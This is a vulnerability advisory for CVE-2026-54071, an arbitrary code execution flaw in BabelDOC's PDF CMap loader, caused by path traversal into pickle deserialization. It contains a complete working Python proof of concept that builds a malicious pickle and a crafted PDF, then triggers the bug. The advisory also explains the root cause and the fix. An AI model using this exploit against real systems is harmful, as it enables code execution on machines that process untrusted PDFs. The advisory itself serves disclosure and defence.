high · 7.8CVE-2026-54071Jul 10, 2026

CVE-2026-54071: BabelDOC Arbitrary Code Execution via CMap Pickle Deserialization

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

Opening a crafted PDF with BabelDOC can silently run attacker-supplied code, because the PDF's font encoding name is decoded and used as a file path that bypasses the trusted CMap directory and loads

PackageBabelDOC
Ecosystempip
Affected<= 0.6.2
Fixed in0.6.3

The problem

BabelDOC's vendored PDF parser (babeldoc/pdfminer/cmapdb.py) builds a filesystem path from a PDF-controlled CMap name and deserializes it with pickle.loads() without any path containment check.

The only sanitization is stripping NUL bytes. Because Python's os.path.join() silently discards all preceding path components when the next segment is an absolute path, embedding a hex-encoded absolute path in a PDF name object (e.g. /#2Ftmp#2F...) steers deserialization to any attacker-writable .pickle.gz file on the local system.

Any user or automated pipeline that processes untrusted PDFs with BabelDOC <= 0.6.2 is exposed to full code execution with the privileges of the BabelDOC process.

Proof of concept

A working proof-of-concept for CVE-2026-54071 in BabelDOC, with the exact payload below.

python
# Step 1: write the malicious pickle to a world-writable path
import gzip, pathlib, pickle

STAGING  = pathlib.Path("/tmp/babeldoc-cmap-poc")
PROOF    = pathlib.Path("/tmp/babeldoc_cmap_rce_proof.txt")
STAGING.mkdir(parents=True, exist_ok=True)

class Payload:
    def __reduce__(self):
        return (PROOF.write_text, ("RCE_CONFIRMED",))

with gzip.open(STAGING / "malicious.pickle.gz", "wb") as fh:
    pickle.dump(Payload(), fh)

# Step 2: craft a PDF whose /Encoding name hex-encodes an absolute path.
# PDF name hex-encoding: #2F == '/'
# /#2Ftmp#2Fbabeldoc-cmap-poc#2Fmalicious  ->  /tmp/babeldoc-cmap-poc/malicious
#
# Data flow inside BabelDOC:
#   PDF literal  /#2Ftmp#2Fbabeldoc-cmap-poc#2Fmalicious
#     -> pdfminer decodes #2F -> '/'
#     -> CMapDB._load_data("/tmp/babeldoc-cmap-poc/malicious")
#     -> filename = "/tmp/babeldoc-cmap-poc/malicious.pickle.gz"   # absolute!
#     -> os.path.join("/usr/share/pdfminer/", "/tmp/.../malicious.pickle.gz")
#        == "/tmp/babeldoc-cmap-poc/malicious.pickle.gz"            # first arg discarded
#     -> gzip.open() + pickle.loads()  =>  RCE

encoding_name = b"/#2Ftmp#2Fbabeldoc-cmap-poc#2Fmalicious"

# Minimal valid PDF with a Type0 CID font referencing the malicious encoding name.
objs = [
    b"<< /Type /Catalog /Pages 2 0 R >>",
    b"<< /Type /Pages /Kids [3 0 R] /Count 1 >>",
    b"<< /Type /Page /Parent 2 0 R /MediaBox [0 0 612 792]"
    b" /Contents 4 0 R /Resources << /Font << /F1 5 0 R >> >> >>",
    b"<< /Length 36 >>\nstream\nBT\n/F1 12 Tf\n100 700 Td\n(x) Tj\nET\n\nendstream",
    b"<< /Type /Font /Subtype /Type0 /BaseFont /MalFont"
    b" /Encoding " + encoding_name +
    b" /DescendantFonts [6 0 R] >>",
    b"<< /Type /Font /Subtype /CIDFontType2 /BaseFont /MalFont"
    b" /CIDSystemInfo << /Registry (Adobe) /Ordering (Identity) /Supplement 0 >>"
    b" /FontDescriptor 7 0 R >>",
    b"<< /Type /FontDescriptor /FontName /MalFont /Flags 4"
    b" /FontBBox [-1000 -1000 1000 1000] /ItalicAngle 0"
    b" /Ascent 1000 /Descent -200 /CapHeight 800 /StemV 80 >>",
]
buf = bytearray(b"%PDF-1.4\n")
offsets = []
for i, o in enumerate(objs, 1):
    offsets.append(len(buf))
    buf += f"{i} 0 obj\n".encode() + o + b"\nendobj\n"
xref = len(buf)
buf += f"xref\n0 {len(objs)+1}\n0000000000 65535 f \n".encode()
for off in offsets:
    buf += f"{off:010d} 00000 n \n".encode()
buf += f"trailer\n<< /Size {len(objs)+1} /Root 1 0 R >>\nstartxref\n{xref}\n%%EOF\n".encode()
(STAGING / "malicious.pdf").write_bytes(bytes(buf))

# Step 3: trigger
from babeldoc.pdfminer.high_level import extract_text
try:
    extract_text(str(STAGING / "malicious.pdf"))
except TypeError:
    pass  # expected: write_text() returns int; type(name, (), int) raises TypeError after payload ran

# Step 4: verify
print(PROOF.read_text())  # => RCE_CONFIRMED

The root cause is CWE-502 (Deserialization of Untrusted Data) compounded by CWE-22 (Path Traversal). The _load_data() method only strips NUL bytes, leaving slash characters intact. A PDF name object allows arbitrary bytes via #xx hex escapes, so /#2F decodes to a leading slash, making the constructed filename an absolute path.

Python's os.path.join() discards all prior components when given an absolute path segment, so the trusted cmap directory is entirely bypassed and the attacker-chosen .pickle.gz file is opened and deserialized unconditionally.

The 0.6.3 patch resolves both problems at the sink. It adds an allowlist of known bundled CMap filenames, resolves the candidate path with os.path.realpath(), checks containment with os.path.commonpath(), and verifies the compressed file's byte length and SHA-256 against a pinned manifest before passing anything to gzip or pickle.

The external CMAP_PATH environment variable is removed entirely.

The fix

Upgrade to BabelDOC 0.6.3 or later (pip install --upgrade babeldoc). Version 0.6.3 replaces the vulnerable path-building logic with an allowlist-plus-integrity-check loader: only filenames present in a pinned manifest are considered, the resolved path must remain inside the bundled cmap directory, and the on-disk .gz bytes must match a pinned SHA-256 before deserialization.

If you cannot upgrade immediately, avoid setting CMAP_PATH and process only PDFs from trusted sources.

Reported by EQSTLab.

References: [1][2]

Related research